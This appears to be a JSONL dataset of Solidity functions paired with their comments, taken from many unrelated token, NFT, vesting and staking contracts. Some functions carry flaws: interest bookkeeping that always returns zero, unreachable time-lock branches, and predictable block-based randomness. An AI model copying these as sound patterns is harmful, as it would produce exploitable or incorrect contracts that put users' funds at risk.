_resolver) external view returns (bool) {\n if (resolver != _resolver) {\n return false;\n }\n\n // otherwise, check everything\n for (uint i = 0; i < resolverAddressesRequired.length; i++) {\n bytes32 name = resolverAddressesRequired[i];\n // false if our cache is invalid or if the resolver doesn't have the required address\n if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {\n return false;\n }\n }\n\n return true;\n }", "version": "0.5.16"} {"comment": "// The collateral / issuance ratio ( debt / collateral ) is higher when there is less collateral backing their debt\n// Upper bound liquidationRatio is 1 + penalty (100% + 10% = 110%) to allow collateral value to cover debt and liquidation penalty", "function_code": "function setLiquidationRatio(uint _liquidationRatio) external onlyOwner {\n require(\n _liquidationRatio <= MAX_LIQUIDATION_RATIO.divideDecimal(SafeDecimalMath.unit().add(getLiquidationPenalty())),\n \"liquidationRatio > MAX_LIQUIDATION_RATIO / (1 + penalty)\"\n );\n\n // MIN_LIQUIDATION_RATIO is a product of target issuance ratio * RATIO_FROM_TARGET_BUFFER\n // Ensures that liquidation ratio is set so that there is a buffer between the issuance ratio and liquidation ratio.\n uint MIN_LIQUIDATION_RATIO = getIssuanceRatio().multiplyDecimal(RATIO_FROM_TARGET_BUFFER);\n require(_liquidationRatio >= MIN_LIQUIDATION_RATIO, \"liquidationRatio < MIN_LIQUIDATION_RATIO\");\n\n flexibleStorage().setUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_RATIO, _liquidationRatio);\n\n emit LiquidationRatioUpdated(_liquidationRatio);\n }", "version": "0.5.16"} {"comment": "//cron this function daily after 3 months of deployment of contract upto 3 years", "function_code": "function multiInterestUpdate(address[] memory _contributors)public returns (bool) { \r\n require(msg.sender == admin, \"ERC20: Only admin can transfer from contract\");\r\n uint256 _time =block.timestamp.sub(deployTime);\r\n require(_time >= _3month.add(_1month), \"ERC20: Only after 4 months of deployment of contract\" );\r\n \r\n uint8 i = 0;\r\n for (i; i < _contributors.length; i++) {\r\n \r\n address user = _contributors[i];\r\n uint256 _deposittime =block.timestamp.sub(_depositTime[user]);\r\n \r\n if(_time <= _1year){ //less than 1 year\r\n \r\n if((_balances[ user] >= _firstyearminbal) && (_deposittime > _3month) && (_intactbal[user] == 0))\r\n _intactbal[user] = _intactbal[user].add((_balances[user]*3)/(100));\r\n \r\n }\r\n else if(_time <= (_1year*2)){ //less than 2 year\r\n \r\n if(_balances[ user] >= _secondyearminbal && (_deposittime > _1month*2) && (_intactbal[user] == 0))\r\n _intactbal[user] = _intactbal[user].add((_balances[ user]*15)/(1000));\r\n }\r\n else if(_time <= (_1year*3)){ //less than 3 year\r\n \r\n if(_balances[user] >= _thirdyearminbal && (_deposittime > _1month) && (_intactbal[user] == 0))\r\n _intactbal[user] = _intactbal[user].add((_balances[ user])/(100));\r\n }\r\n \r\n }\r\n \r\n\r\n return (true);\r\n }", "version": "0.6.6"} {"comment": "//cron this function monthly after 4 months of deployment of contract upto 3 years", "function_code": "function multiInterestCredit( address[] memory _contributors) public returns(uint256) {\r\n require(msg.sender == admin, \"ERC20: Only admin can transfer from contract\");\r\n uint256 _time =block.timestamp.sub(deployTime);\r\n require(_time >= _3month.add(_1month), \"ERC20: Only after 4 months of deployment of contract\" );\r\n \r\n uint256 monthtotal = 0;\r\n \r\n uint8 i = 0;\r\n for (i; i < _contributors.length; i++) {\r\n _transfer(address(this), _contributors[i], _intactbal[_contributors[i]]);\r\n emit InterestTransfer (_contributors[i], _intactbal[_contributors[i]], block.timestamp);\r\n _totaltransfered = _totaltransfered.add(_intactbal[_contributors[i]]);\r\n _intactbal[_contributors[i]] = 0;\r\n monthtotal += _intactbal[_contributors[i]];\r\n \r\n }\r\n \r\n return (monthtotal);\r\n }", "version": "0.6.6"} {"comment": "// Gas Optimization", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256)\r\n\t{\r\n if (a == 0)\r\n\t\t{\r\n return 0;\r\n }\r\n\r\n uint256 c = a * b;\r\n require(c / a == b, \"SafeMath: multiplication overflow\");\r\n\r\n return c;\r\n }", "version": "0.5.17"} {"comment": "/** This method is used to deposit amount in contract \r\n \t* amount will be in wei */", "function_code": "function vest(uint256 amount) public {\r\n \r\n require(amount >= minimumLimit, \"vest more than minimum amount\");\r\n \r\n if (!Vestors[msg.sender].alreadyExists) {\r\n Vestors[msg.sender].alreadyExists = true;\r\n VesterID[totalVestor] = msg.sender;\r\n totalVestor++;\r\n }\r\n\r\n vestedToken.transferFrom(msg.sender, address(this), amount);\r\n\r\n uint256 index = Vestors[msg.sender].vestCount;\r\n Vestors[msg.sender].totalVestedTokenUser = Vestors[msg.sender]\r\n .totalVestedTokenUser\r\n .add(amount);\r\n totalAddedToken = totalAddedToken.add(amount);\r\n RemainToken = RemainToken.add(amount);\r\n vestorRecord[msg.sender][index].lockedtilltime = block.timestamp.add(\r\n lockingPeriod\r\n );\r\n vestorRecord[msg.sender][index].vesttime = block.timestamp;\r\n vestorRecord[msg.sender][index].amount = amount;\r\n vestorRecord[msg.sender][index].completewithdrawtill = vestorRecord[msg.sender][index].lockedtilltime.add((percentDivider.div(releasePer)).mul(releaseInterval));\r\n vestorRecord[msg.sender][index].lastWithdrawalTime = 0;\r\n vestorRecord[msg.sender][index].totalWithdrawal = 0;\r\n vestorRecord[msg.sender][index].remainWithdrawal = amount;\r\n\r\n vestorRecord[msg.sender][index].releaseinterval = releaseInterval;\r\n vestorRecord[msg.sender][index].releaseperperinterval = releasePer;\r\n\r\n vestorRecord[msg.sender][index].persecondLimit = amount.div((percentDivider.div(releasePer)).mul(releaseInterval));\r\n\r\n Vestors[msg.sender].vestCount++;\r\n\r\n emit VEST(msg.sender, amount);\r\n }", "version": "0.8.11"} {"comment": "/** This method will used to withdraw vested token \r\n \t* before release, the token will be locked for the locking duration, and then it will release the set percentage for the set period */", "function_code": "function releaseToken(uint256 index) public {\r\n require(\r\n !vestorRecord[msg.sender][index].withdrawan,\r\n \"already withdrawan\"\r\n );\r\n require(\r\n vestorRecord[msg.sender][index].lockedtilltime < block.timestamp,\r\n \"cannot release token before locked duration\"\r\n );\r\n\r\n uint256 releaseLimitTillNow;\r\n uint256 commontimestamp;\r\n (releaseLimitTillNow,commontimestamp) = realtimeReleasePerBlock(msg.sender , index);\r\n \r\n vestedToken.transfer(\r\n msg.sender,\r\n releaseLimitTillNow\r\n );\r\n\r\n totalReleasedToken = totalReleasedToken.add(\r\n releaseLimitTillNow\r\n );\r\n RemainToken = RemainToken.sub(releaseLimitTillNow);\r\n \r\n vestorRecord[msg.sender][index].lastWithdrawalTime = commontimestamp;\r\n \r\n vestorRecord[msg.sender][index].totalWithdrawal = vestorRecord[msg.sender][index].totalWithdrawal.add(releaseLimitTillNow);\r\n\r\n vestorRecord[msg.sender][index].remainWithdrawal = vestorRecord[msg.sender][index].remainWithdrawal.sub(releaseLimitTillNow);\r\n\r\n Vestors[msg.sender].totalWithdrawedTokenUser = Vestors[msg.sender].totalWithdrawedTokenUser.add(releaseLimitTillNow);\r\n\r\n if(vestorRecord[msg.sender][index].totalWithdrawal == vestorRecord[msg.sender][index].amount){\r\n vestorRecord[msg.sender][index].withdrawan = true;\r\n\r\n }\r\n\r\n emit RELEASE(\r\n msg.sender,\r\n releaseLimitTillNow\r\n );\r\n }", "version": "0.8.11"} {"comment": "/** This method will return realtime release amount for particular user's block */", "function_code": "function realtimeReleasePerBlock(address user, uint256 blockno) public view returns (uint256,uint256) {\r\n\r\n uint256 ret;\r\n uint256 commontimestamp;\r\n if (\r\n !vestorRecord[user][blockno].withdrawan &&\r\n vestorRecord[user][blockno].lockedtilltime < block.timestamp\r\n ) {\r\n uint256 val;\r\n uint256 tempwithdrawaltime = vestorRecord[user][blockno].lastWithdrawalTime;\r\n commontimestamp = block.timestamp;\r\n if(tempwithdrawaltime == 0){\r\n tempwithdrawaltime = vestorRecord[user][blockno].lockedtilltime;\r\n }\r\n val = commontimestamp - tempwithdrawaltime;\r\n val = val.mul(vestorRecord[user][blockno].persecondLimit);\r\n if (val < vestorRecord[user][blockno].remainWithdrawal) {\r\n ret += val;\r\n } else {\r\n ret += vestorRecord[user][blockno].remainWithdrawal;\r\n }\r\n }\r\n return (ret,commontimestamp);\r\n }", "version": "0.8.11"} {"comment": "/**\r\n \t * @notice Accepts a withdrawal to the gToken using ETH. The gToken must\r\n \t * have WETH as its reserveToken. This method will redeem the\r\n \t * sender's required balance in shares; which in turn will receive\r\n \t * ETH. See GToken.sol and GTokenBase.sol for further documentation.\r\n \t * @param _growthToken The WETH based gToken.\r\n \t * @param _grossShares The number of shares to be redeemed.\r\n \t */", "function_code": "function withdraw(address _growthToken, uint256 _grossShares) public\r\n\t{\r\n\t\taddress payable _from = msg.sender;\r\n\t\taddress _reserveToken = GToken(_growthToken).reserveToken();\r\n\t\trequire(_reserveToken == $.WETH, \"ETH operation not supported by token\");\r\n\t\tG.pullFunds(_growthToken, _from, _grossShares);\r\n\t\tGToken(_growthToken).withdraw(_grossShares);\r\n\t\tuint256 _cost = G.getBalance(_reserveToken);\r\n\t\tG.safeUnwrap(_cost);\r\n\t\t_from.transfer(_cost);\r\n\t}", "version": "0.6.12"} {"comment": "/// @notice Mint NFTs to senders address\n/// @param _mintAmount Number of NFTs to mint", "function_code": "function mint(uint256 _mintAmount) external payable {\r\n /// @notice Check the mint is active or the sender is whitelisted\r\n require(!paused || whitelisted[msg.sender], \"Minting paused\");\r\n require(_mintAmount > 0, \"Min amount\");\r\n uint256 supply = totalSupply();\r\n require(\r\n supply + _mintAmount <= MAX_SUPPLY,\r\n \"Supply limit reached\"\r\n );\r\n require(\r\n addressMintedBalance[msg.sender] + _mintAmount <= MAX_MINT_PER_ADDRESS,\"Mint limit reached\"\r\n );\r\n require(msg.value == COST * _mintAmount, \"Incorrect ETH\");\r\n\r\n /// @notice Safely mint the NFTs\r\n addressMintedBalance[msg.sender] = addressMintedBalance[msg.sender] + _mintAmount;\r\n for (uint256 i = 1; i <= _mintAmount; i++) {\r\n _safeMint(msg.sender, supply + i);\r\n }\r\n }", "version": "0.8.9"} {"comment": "/// @notice Reserved mint function for owner only\n/// @param _to Address to send tokens to\n/// @param _mintAmount Number of NFTs to mint", "function_code": "function reserveTokens(address _to, uint256 _mintAmount) public onlyOwner {\r\n uint256 supply = totalSupply();\r\n /// @notice Safely mint the NFTs\r\n addressMintedBalance[msg.sender] = addressMintedBalance[msg.sender] + _mintAmount;\r\n for (uint256 i = 1; i <= _mintAmount; i++) {\r\n _safeMint(_to, supply + i);\r\n }\r\n }", "version": "0.8.9"} {"comment": "/// @return Returns a conststructed string in the format: //ipfs/HASH/[tokenId].json", "function_code": "function tokenURI(uint256 tokenId)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (string memory)\r\n {\r\n require(\r\n _exists(tokenId),\r\n \"ERC721Metadata: URI query for NonExistent Token.\"\r\n );\r\n\r\n if (!revealed) {\r\n return hiddenURI;\r\n }\r\n\r\n string memory currentBaseURI = _baseURI();\r\n return\r\n bytes(currentBaseURI).length > 0\r\n ? string(\r\n abi.encodePacked(\r\n currentBaseURI,\r\n tokenId.toString(),\r\n baseExtension\r\n )\r\n )\r\n : \"\";\r\n }", "version": "0.8.9"} {"comment": "// and in dark night sky ", "function_code": "function mint(string memory phrase) public payable onlyUnpaused isNotFinished returns(bool) {\r\n if (\r\n mintedOnCurrentIteration[msg.sender][currentSuccessfulTokenId] ==\r\n true\r\n ) {\r\n require(msg.value >= priceToMint, \"Not enough message value\");\r\n } else {\r\n mintedOnCurrentIteration[msg.sender][\r\n currentSuccessfulTokenId\r\n ] = true;\r\n }\r\n if (phrase_ == keccak256(bytes(phrase))) {\r\n _mint(msg.sender, currentSuccessfulTokenId, 1, \"\");\r\n paused = true;\r\n return true;\r\n } else {\r\n uint256 pseudoRandomSeed = uint256(\r\n keccak256(\r\n abi.encodePacked(\r\n block.difficulty,\r\n block.timestamp,\r\n msg.sender\r\n )\r\n )\r\n );\r\n _mint(msg.sender, (pseudoRandomSeed % 5) + 2 + step, 1, \"\");\r\n return false;\r\n }\r\n }", "version": "0.8.2"} {"comment": "// Submit network balances for a block\n// Only accepts calls from trusted (oracle) nodes", "function_code": "function submitBalances(uint256 _block, uint256 _totalEth, uint256 _stakingEth, uint256 _rethSupply) override external onlyLatestContract(\"rocketNetworkBalances\", address(this)) onlyTrustedNode(msg.sender) {\n // Check settings\n RocketDAOProtocolSettingsNetworkInterface rocketDAOProtocolSettingsNetwork = RocketDAOProtocolSettingsNetworkInterface(getContractAddress(\"rocketDAOProtocolSettingsNetwork\"));\n require(rocketDAOProtocolSettingsNetwork.getSubmitBalancesEnabled(), \"Submitting balances is currently disabled\");\n // Check block\n require(_block < block.number, \"Balances can not be submitted for a future block\");\n require(_block > getBalancesBlock(), \"Network balances for an equal or higher block are set\");\n // Check balances\n require(_stakingEth <= _totalEth, \"Invalid network balances\");\n // Get submission keys\n bytes32 nodeSubmissionKey = keccak256(abi.encodePacked(\"network.balances.submitted.node\", msg.sender, _block, _totalEth, _stakingEth, _rethSupply));\n bytes32 submissionCountKey = keccak256(abi.encodePacked(\"network.balances.submitted.count\", _block, _totalEth, _stakingEth, _rethSupply));\n // Check & update node submission status\n require(!getBool(nodeSubmissionKey), \"Duplicate submission from node\");\n setBool(nodeSubmissionKey, true);\n setBool(keccak256(abi.encodePacked(\"network.balances.submitted.node\", msg.sender, _block)), true);\n // Increment submission count\n uint256 submissionCount = getUint(submissionCountKey).add(1);\n setUint(submissionCountKey, submissionCount);\n // Emit balances submitted event\n emit BalancesSubmitted(msg.sender, _block, _totalEth, _stakingEth, _rethSupply, block.timestamp);\n // Check submission count & update network balances\n RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\"));\n if (calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodeConsensusThreshold()) {\n updateBalances(_block, _totalEth, _stakingEth, _rethSupply);\n }\n }", "version": "0.7.6"} {"comment": "// Executes updateBalances if consensus threshold is reached", "function_code": "function executeUpdateBalances(uint256 _block, uint256 _totalEth, uint256 _stakingEth, uint256 _rethSupply) override external onlyLatestContract(\"rocketNetworkBalances\", address(this)) {\n // Check settings\n RocketDAOProtocolSettingsNetworkInterface rocketDAOProtocolSettingsNetwork = RocketDAOProtocolSettingsNetworkInterface(getContractAddress(\"rocketDAOProtocolSettingsNetwork\"));\n require(rocketDAOProtocolSettingsNetwork.getSubmitBalancesEnabled(), \"Submitting balances is currently disabled\");\n // Check block\n require(_block < block.number, \"Balances can not be submitted for a future block\");\n require(_block > getBalancesBlock(), \"Network balances for an equal or higher block are set\");\n // Check balances\n require(_stakingEth <= _totalEth, \"Invalid network balances\");\n // Get submission keys\n bytes32 submissionCountKey = keccak256(abi.encodePacked(\"network.balances.submitted.count\", _block, _totalEth, _stakingEth, _rethSupply));\n // Get submission count\n uint256 submissionCount = getUint(submissionCountKey);\n // Check submission count & update network balances\n RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\"));\n require(calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodeConsensusThreshold(), \"Consensus has not been reached\");\n updateBalances(_block, _totalEth, _stakingEth, _rethSupply);\n }", "version": "0.7.6"} {"comment": "// Returns the latest block number that oracles should be reporting balances for", "function_code": "function getLatestReportableBlock() override external view returns (uint256) {\n // Load contracts\n RocketDAOProtocolSettingsNetworkInterface rocketDAOProtocolSettingsNetwork = RocketDAOProtocolSettingsNetworkInterface(getContractAddress(\"rocketDAOProtocolSettingsNetwork\"));\n // Get the block balances were lasted updated and the update frequency\n uint256 updateFrequency = rocketDAOProtocolSettingsNetwork.getSubmitBalancesFrequency();\n // Calculate the last reportable block based on update frequency\n return block.number.div(updateFrequency).mul(updateFrequency);\n }", "version": "0.7.6"} {"comment": "/**\n * Revealing of next token in line\n * if the token is staked & is bee move it to the next available hive\n */", "function_code": "function tryReveal() public returns (bool) {\n if (unrevealedTokenIndex >= minted) return false;\n if (tokenData[unrevealedTokenIndex + 1]._type != 0) return true;\n\n uint256 seed = randomizerContract.revealSeed(unrevealedTokenIndex);\n if (seed == 0) return false;\n address trueOwner = ownerOf(unrevealedTokenIndex + 1) == address(hiveContract)\n ? hiveContract.getWaitingRoomOwner(unrevealedTokenIndex + 1)\n : ownerOf(unrevealedTokenIndex + 1);\n Token memory t = traitsContract.generate(seed);\n tokenData[unrevealedTokenIndex + 1] = t;\n if (t._type == 2) bearsMinted++;\n if (t._type == 3) beekeepersMinted++;\n if (t._type == 1 && ownerOf(unrevealedTokenIndex + 1) == address(hiveContract)) {\n hiveContract.removeFromWaitingRoom(unrevealedTokenIndex + 1, 0);\n }\n\n emit MintRevealed(trueOwner, unrevealedTokenIndex + 1, t._type, ownerOf(unrevealedTokenIndex + 1) == address(hiveContract) ? true : false);\n unrevealedTokenIndex += 1;\n return true;\n }", "version": "0.8.9"} {"comment": "/**\n * adds honey to a address pot when clamin bee honey or when stealing/collecting\n */", "function_code": "function increaseTokensPot(address _owner, uint256 amount) external {\n require(_msgSender() == address(attackContract) || _msgSender() == address(hiveContract), \"BEES:DONT CHEAT:POT\");\n require(totalHoneyEarned + amount < MAXIMUM_GLOBAL_HONEY, \"NO MORE HONEY\");\n totalHoneyEarned += amount;\n pot[_owner] += amount;\n }", "version": "0.8.9"} {"comment": "/**\n * withdraw eth\n */", "function_code": "function withdrawAll() public onlyOwner {\n uint256 balance = address(this).balance;\n require(balance > 0, \"Insufficent balance\");\n _widthdraw(BEAR, ((balance * 5) / 100));\n balance = address(this).balance;\n _widthdraw(BEEKEEPER_1, ((balance * 25) / 100));\n _widthdraw(BEEKEEPER_2, ((balance * 25) / 100));\n _widthdraw(BEEKEEPER_3, ((balance * 25) / 100));\n _widthdraw(BEEKEEPER_4, ((balance * 25) / 100));\n }", "version": "0.8.9"} {"comment": "/** @dev Babylonian method of finding the square root */", "function_code": "function sqrt(uint256 y) internal pure returns (uint256 z) {\r\n if (y > 3) {\r\n z = y;\r\n uint256 x = (y + 1) / 2;\r\n while (x < z) {\r\n z = x;\r\n x = (y / x + x) / 2;\r\n }\r\n } else if (y != 0) {\r\n z = 1;\r\n }\r\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Sets points to accounts in one batch.\n * @param _accounts An array of accounts.\n * @param _amounts An array of corresponding amounts.\n */", "function_code": "function setPoints(address[] calldata _accounts, uint256[] calldata _amounts) external override {\n require(hasAdminRole(msg.sender) || hasOperatorRole(msg.sender), \"PointList.setPoints: Sender must be operator\");\n require(_accounts.length != 0, \"PointList.setPoints: empty array\");\n require(_accounts.length == _amounts.length, \"PointList.setPoints: incorrect array length\");\n uint totalPointsCache = totalPoints;\n for (uint i; i < _accounts.length; i++) {\n address account = _accounts[i];\n uint256 amount = _amounts[i];\n uint256 previousPoints = points[account];\n\n if (amount != previousPoints) {\n points[account] = amount;\n totalPointsCache = totalPointsCache.sub(previousPoints).add(amount);\n emit PointsUpdated(account, previousPoints, amount);\n }\n }\n totalPoints = totalPointsCache;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Mint the _amount of tokens\n * @param _amount is the token count\n */", "function_code": "function mint(uint256 _amount) public payable notPaused {\n uint256 total = totalSupply();\n require(totalSupply() < MAX_ELEMENTS, \"Sale end\");\n require(total + _amount <= MAX_ELEMENTS, \"Max limit\");\n require(\n _amount + balanceOf(msg.sender) <= MAX_PUBLIC_MINT ||\n msg.sender == owner(),\n \"Exceeded max token purchase\"\n );\n require(msg.value >= price(_amount), \"Value below price\");\n\n for (uint256 i = 0; i < _amount; i++) {\n uint256 id = totalSupply();\n _safeMint(msg.sender, id);\n emit CreateTentacleKnockout(id);\n }\n }", "version": "0.8.0"} {"comment": "/*\r\n * Only function for the tokens withdrawal (with two years time lock)\r\n * @dev Based on division down rounding\r\n */", "function_code": "function canWithdraw() public view returns (uint256) {\r\n uint256 sinceStart = now - start;\r\n uint256 allowed = (sinceStart/2592000)*504546000000000;\r\n uint256 toWithdraw;\r\n if (allowed > token.balanceOf(address(this))) {\r\n toWithdraw = token.balanceOf(address(this));\r\n } else {\r\n toWithdraw = allowed - withdrawn;\r\n }\r\n return toWithdraw;\r\n }", "version": "0.4.20"} {"comment": "/*\r\n * Allocation function, tokens get allocated from this contract as current token owner\r\n * @dev only accessible from the constructor\r\n */", "function_code": "function initiate() public onlyOwner {\r\n require(token.balanceOf(address(this)) == 18500000000000000);\r\n tokenLocker23 = new AdviserTimeLock(address(token), ADVISER23);\r\n\r\n token.transfer(ADVISER1, 380952380000000);\r\n token.transfer(ADVISER2, 380952380000000);\r\n token.transfer(ADVISER3, 659200000000000);\r\n token.transfer(ADVISER4, 95238100000000);\r\n token.transfer(ADVISER5, 1850000000000000);\r\n token.transfer(ADVISER6, 15384620000000);\r\n token.transfer(ADVISER7, 62366450000000);\r\n token.transfer(ADVISER8, 116805560000000);\r\n token.transfer(ADVISER9, 153846150000000);\r\n token.transfer(ADVISER10, 10683760000000);\r\n token.transfer(ADVISER11, 114285710000000);\r\n token.transfer(ADVISER12, 576923080000000);\r\n token.transfer(ADVISER13, 76190480000000);\r\n token.transfer(ADVISER14, 133547010000000);\r\n token.transfer(ADVISER15, 96153850000000);\r\n token.transfer(ADVISER16, 462500000000000);\r\n token.transfer(ADVISER17, 462500000000000);\r\n token.transfer(ADVISER18, 399865380000000);\r\n token.transfer(ADVISER19, 20032050000000);\r\n token.transfer(ADVISER20, 35559130000000);\r\n token.transfer(ADVISER21, 113134000000000);\r\n token.transfer(ADVISER22, 113134000000000);\r\n token.transfer(address(tokenLocker23), 5550000000000000);\r\n token.transfer(ADVISER23, 1850000000000000);\r\n token.transfer(ADVISER24, 100000000000000);\r\n token.transfer(ADVISER25, 100000000000000);\r\n token.transfer(ADVISER26, 2747253000000000);\r\n\r\n }", "version": "0.4.20"} {"comment": "/*\r\n * Checker function to find out how many tokens can be withdrawn.\r\n * note: percentage of the token.totalSupply\r\n * @dev Based on division down rounding\r\n */", "function_code": "function canWithdraw() public view returns (uint256) {\r\n uint256 sinceStart = now - start;\r\n uint256 allowed;\r\n\r\n if (sinceStart >= 0) {\r\n allowed = 555000000000000;\r\n } else if (sinceStart >= 31536000) { // one year difference\r\n allowed = 1480000000000000;\r\n } else if (sinceStart >= 63072000) { // two years difference\r\n allowed = 3330000000000000;\r\n } else {\r\n return 0;\r\n }\r\n return allowed - withdrawn;\r\n }", "version": "0.4.20"} {"comment": "/*\r\n * Approve function to adjust allowance to investment of each individual investor\r\n * @param _investor address sets the beneficiary for later use\r\n * @param _referral address to pay a commission in token to\r\n * @param _commission uint8 expressed as a number between 0 and 5\r\n */", "function_code": "function approve(address _investor, uint8 _commission, uint8 _extra) onlyOwner public{\r\n require(!isContract(_investor));\r\n verified[_investor].approved = true;\r\n if (_commission <= 15 && _extra <= 5) {\r\n verified[_investor].commission = _commission;\r\n verified[_investor].extra = _extra;\r\n BonusesRegistered(_investor, _commission, _extra);\r\n }\r\n ApprovedInvestor(_investor);\r\n }", "version": "0.4.20"} {"comment": "/*\r\n * Constructor changing owner to owner multisig, setting all the contract addresses & compensation rates\r\n * @param address of the Signals Token contract\r\n * @param address of the KYC registry\r\n * @param address of the owner multisig\r\n * @param uint rate of the compensation for early investors\r\n * @param uint rate of the compensation for partners\r\n */", "function_code": "function PresalePool(address _token, address _registry, address _owner, uint comp1, uint comp2) public {\r\n owner = _owner;\r\n PublicPresale = PresaleToken(0x15fEcCA27add3D28C55ff5b01644ae46edF15821);\r\n PartnerPresale = PresaleToken(0xa70435D1a3AD4149B0C13371E537a22002Ae530d);\r\n token = SignalsToken(_token);\r\n registry = CrowdsaleRegister(_registry);\r\n compensation1 = comp1;\r\n compensation2 = comp2;\r\n deadLine = now + 30 days;\r\n }", "version": "0.4.20"} {"comment": "/*\r\n * Function swapping the presale tokens for the Signal tokens regardless on the presale pool\r\n * @dev requires having ownership of the two presale contracts\r\n * @dev requires the calling party to finish the KYC process fully\r\n */", "function_code": "function swap() public {\r\n require(registry.approved(msg.sender));\r\n uint256 oldBalance;\r\n uint256 newBalance;\r\n\r\n if (PublicPresale.balanceOf(msg.sender) > 0) {\r\n oldBalance = PublicPresale.balanceOf(msg.sender);\r\n newBalance = oldBalance * compensation1 / 100;\r\n PublicPresale.burnTokens(msg.sender, oldBalance);\r\n token.transfer(msg.sender, newBalance);\r\n SupporterResolved(msg.sender, oldBalance, newBalance);\r\n }\r\n\r\n if (PartnerPresale.balanceOf(msg.sender) > 0) {\r\n oldBalance = PartnerPresale.balanceOf(msg.sender);\r\n newBalance = oldBalance * compensation2 / 100;\r\n PartnerPresale.burnTokens(msg.sender, oldBalance);\r\n token.transfer(msg.sender, newBalance);\r\n PartnerResolved(msg.sender, oldBalance, newBalance);\r\n }\r\n }", "version": "0.4.20"} {"comment": "/*\r\n * Function swapping the presale tokens for the Signal tokens regardless on the presale pool\r\n * @dev initiated from Signals (passing the ownership to a oracle to handle a script is recommended)\r\n * @dev requires having ownership of the two presale contracts\r\n * @dev requires the calling party to finish the KYC process fully\r\n */", "function_code": "function swapFor(address whom) onlyOwner public returns(bool) {\r\n require(registry.approved(whom));\r\n uint256 oldBalance;\r\n uint256 newBalance;\r\n\r\n if (PublicPresale.balanceOf(whom) > 0) {\r\n oldBalance = PublicPresale.balanceOf(whom);\r\n newBalance = oldBalance * compensation1 / 100;\r\n PublicPresale.burnTokens(whom, oldBalance);\r\n token.transfer(whom, newBalance);\r\n SupporterResolved(whom, oldBalance, newBalance);\r\n }\r\n\r\n if (PartnerPresale.balanceOf(whom) > 0) {\r\n oldBalance = PartnerPresale.balanceOf(whom);\r\n newBalance = oldBalance * compensation2 / 100;\r\n PartnerPresale.burnTokens(whom, oldBalance);\r\n token.transfer(whom, newBalance);\r\n SupporterResolved(whom, oldBalance, newBalance);\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "/*\r\n * Buy in function to be called from the fallback function\r\n * @param beneficiary address\r\n */", "function_code": "function buyTokens(address beneficiary) private {\r\n require(beneficiary != 0x0);\r\n require(validPurchase());\r\n\r\n uint256 weiAmount = msg.value;\r\n\r\n // base discount\r\n uint256 discount = ((toBeRaised*10000)/HARD_CAP)*15;\r\n\r\n // calculate token amount to be created\r\n uint256 tokens;\r\n\r\n // update state\r\n weiRaised = weiRaised.add(weiAmount);\r\n toBeRaised = toBeRaised.sub(weiAmount);\r\n\r\n uint commission;\r\n uint extra;\r\n uint premium;\r\n\r\n if (register.approved(beneficiary)) {\r\n (commission, extra) = register.getBonuses(beneficiary);\r\n\r\n // If extra access granted then give additional %\r\n if (extra > 0) {\r\n discount += extra*10000;\r\n }\r\n tokens = howMany(msg.value, discount);\r\n\r\n // If referral was involved, give some percent to the source\r\n if (commission > 0) {\r\n premium = tokens.mul(commission).div(100);\r\n token.mint(BOUNTY, premium);\r\n }\r\n\r\n } else {\r\n extra = register2.getBonuses(beneficiary);\r\n if (extra > 0) {\r\n discount = extra*10000;\r\n tokens = howMany(msg.value, discount);\r\n }\r\n }\r\n\r\n token.mint(beneficiary, tokens);\r\n TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);\r\n tokensSold += tokens + premium;\r\n forwardFunds();\r\n\r\n assert(token.totalSupply() <= maxTokens);\r\n }", "version": "0.4.20"} {"comment": "/// @dev See `IERC20.approve` ", "function_code": "function approve(address _spender, uint _amount) public override returns (bool success) {\r\n uint96 amount;\r\n if (_amount == uint(SafeCast.toUint256(-1))) {\r\n amount = uint96(SafeCast.toUint256(-1));\r\n } else {\r\n amount = safe96(_amount, \"DAWG::permit: amount exceeds 96 bits\");\r\n }\r\n\r\n\r\n _approve(msg.sender, _spender, amount);\r\n return true;\r\n }", "version": "0.8.6"} {"comment": "/// @dev `See ERC20i.transferFrom`", "function_code": "function transferFrom(address _from, address _to, uint _amount) public override returns (bool success) {\r\n address spender = msg.sender;\r\n uint96 spenderAllowance = allowances[_from][spender];\r\n uint96 amount = safe96(_amount, \"DAWG::approve: amount exceeds 96 bits\");\r\n\r\n if (spender != _from && spenderAllowance != uint96(SafeCast.toUint256(-1))) {\r\n uint96 newAllowance = sub96(spenderAllowance, amount, \"DAWG::transferFrom: transfer amount exceeds spender allowance\");\r\n allowances[_from][spender] = newAllowance;\r\n\r\n emit Approval(_from, spender, newAllowance);\r\n }\r\n \r\n _transferTokens(_from, _to, amount);\r\n return true;\r\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Function for loomiVault deposit\n */", "function_code": "function deposit(uint256[] memory tokenIds) public nonReentrant whenNotPaused {\n require(tokenIds.length > 0, \"Empty array\");\n Staker storage user = _stakers[_msgSender()];\n\n if (user.stakedVault.length == 0) {\n uint256 currentLoomiPot = _getLoomiPot();\n user.loomiPotSnapshot = currentLoomiPot;\n } \n accumulate(_msgSender());\n\n for (uint256 i; i < tokenIds.length; i++) {\n require(loomiVault.ownerOf(tokenIds[i]) == _msgSender(), \"Not the owner\");\n loomiVault.safeTransferFrom(_msgSender(), address(this), tokenIds[i]);\n\n _ownerOfToken[tokenIds[i]] = _msgSender();\n\n user.stakedVault.push(tokenIds[i]);\n }\n\n emit Deposit(_msgSender(), tokenIds.length);\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Function for loomiVault withdraw\n */", "function_code": "function withdraw(uint256[] memory tokenIds) public nonReentrant whenNotPaused {\n require(tokenIds.length > 0, \"Empty array\");\n\n Staker storage user = _stakers[_msgSender()];\n accumulate(_msgSender());\n\n for (uint256 i; i < tokenIds.length; i++) {\n require(loomiVault.ownerOf(tokenIds[i]) == address(this), 